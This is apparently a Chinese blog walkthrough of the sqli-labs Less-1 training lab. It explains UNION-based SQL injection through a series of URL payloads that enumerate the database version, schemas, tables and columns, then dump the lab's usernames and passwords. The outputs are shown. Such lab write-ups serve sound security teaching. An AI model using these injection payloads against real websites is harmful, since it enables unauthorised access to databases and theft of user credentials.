MySQL Sqli-labs less 1

参考资料:

https://blog.youkuaiyun.com/Wei_xino/article/details/89405429

https://www.runoob.com/sql/sql-orderby.html

https://blog.youkuaiyun.com/iczfy585/article/details/86901381

https://www.cnblogs.com/lcamry/p/5763140.html

https://blog.youkuaiyun.com/weixin_49656607/article/details/119988304

https://blog.youkuaiyun.com/kikajack/article/details/80065753

https://blog.youkuaiyun.com/qq_43579362/article/details/104189819?spm=1001.2101.3001.6650.14&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-14-104189819-blog-124834572.235%5Ev38%5Epc_relevant_yljh&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-14-104189819-blog-124834572.235%5Ev38%5Epc_relevant_yljh

https://www.cnblogs.com/lgf01010/p/9536104.html

**

原理部分:

**

基本步骤:

  1. 判断是什么类型注入,有没有过滤关键字,是否能绕过
  2. 确定存在注入的表的列数以及表中数据那些字段可以显示出来
  3. 获取数据库版本,用户,当前连接的数据库等信息
  4. 获取数据库中所有表的信息
  5. 获取某个表的列字段信息
  6. 获取相应表的对应列字段信息数据
  • 对url编码有了解:空格=‘%20’,单引号=‘%27’,双引号=‘%22’,井号=‘%23’等。
  • – 表示把后面的语句注释掉,要注意的是 --后面是有一个空格的。 还有其他注释方法。
  • Order by 对前面的数据按照一个列或者多个列进行排序,等到了超过列数就报错,这样就知道列数了。
  • union的作用是将两个sql语句进行联合,union前后的两个sql语句的选择列数要相同才可以。
  • group_concat ()函数(可以把查询出来的多行数据连接起来在一个字段中显示)
  • database()函数:查看当前数据库名称
  • version()函数:查看数据库版本信息
  • user():返回当前数据库连接使用的用户

Information_schema

Information_schema:存储mysql数据库下所有数据库的表名和列名信息的自带数据库
表:
information_schema.schemata:存储mysql数据库下所有数据库的库名信息的表 (字段名为 schema_name的字段值)

information_schema.tables:存储mysql数据库下所有数据库的表名信息的表 (字段名为 table_name:表名 条件为 table_schema:数据库名 )

information_schema.columns:存储mysql数据库下所有数据库的列名信息的表 (字段名为column_name:的字段值))

schema_name:为mysql所有数据库的名字
table_schema:为所有数据库的名字(不同于schema_name,它是一张表对应一个table_schema,数量大于等于总数据库数量)
table_name:具体表名
column_name:具体列名

Sqli-labs less 1

基于错误的GET单引号字符型注入

拼接sql语句时,未对id进行任何的过滤等操作,直接拼接。

1. 确定列数

 http://sql-labs:8086/Less-1/?id=2  order  by  3    

2. 判断那些字段可以显示出来。

http://sql-labs:8086/Less-1/?id=-2 ' union   select  1,2,3 -- '   

为什么要加 ’ --+’ 加了之后 id=-2 ’ union select 1,2,3 – ’ 在sql中就变成了

id=‘-2 ’ union select 1,2,3 --+’ LIMIT 0,1 – 表示把后面的语句注释掉

就变成了id='-2 ’ union select 1,2,3 就可以正常执行了

3.获取当前数据库信息

http://sql-labs:8086/Less-1/?id=-2 ' union   select  1,version(),database() --'
http://sql-labs:8086/Less-1/?id=-2 ' union   select  1,user(),3 --'

root@localhost       security       5.7.26

id=-2 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来

4.获取所有的数据库信息

http://sql-labs:8086/Less-1/?id=-1' union select 1, group_concat(schema_name),3  from information_schema.schemata --'

information_schema,dvwa,jf123,mysql,performance_schema,pikachu,security,sys //结果

可以用于跨库

5.获取具体数据库中的表名信息

http://sql-labs:8086/Less-1/?id=-1' union select 1,group_concat(table_name),3  from information_schema.tables where table_schema='security'   -- '       

emails,referers,uagents,users

information_schema数据库中tables 表里的table_name字段,前提有是table_schema(库名)

6.获取具体表的列名

http://sql-labs:8086/Less-1/?id=-1  ' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- '

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIO

information_schema数据库中columns表里的column_name字段,前提有是table_name(表名)

7.获取具体表的对应列的数据

http://sql-labs:8086/Less-1/?id=-1  ' union select 1,group_concat(username),group_concat(password)  from security.users -- '

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin

本文参考了一些文章,如果侵权请联系我。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值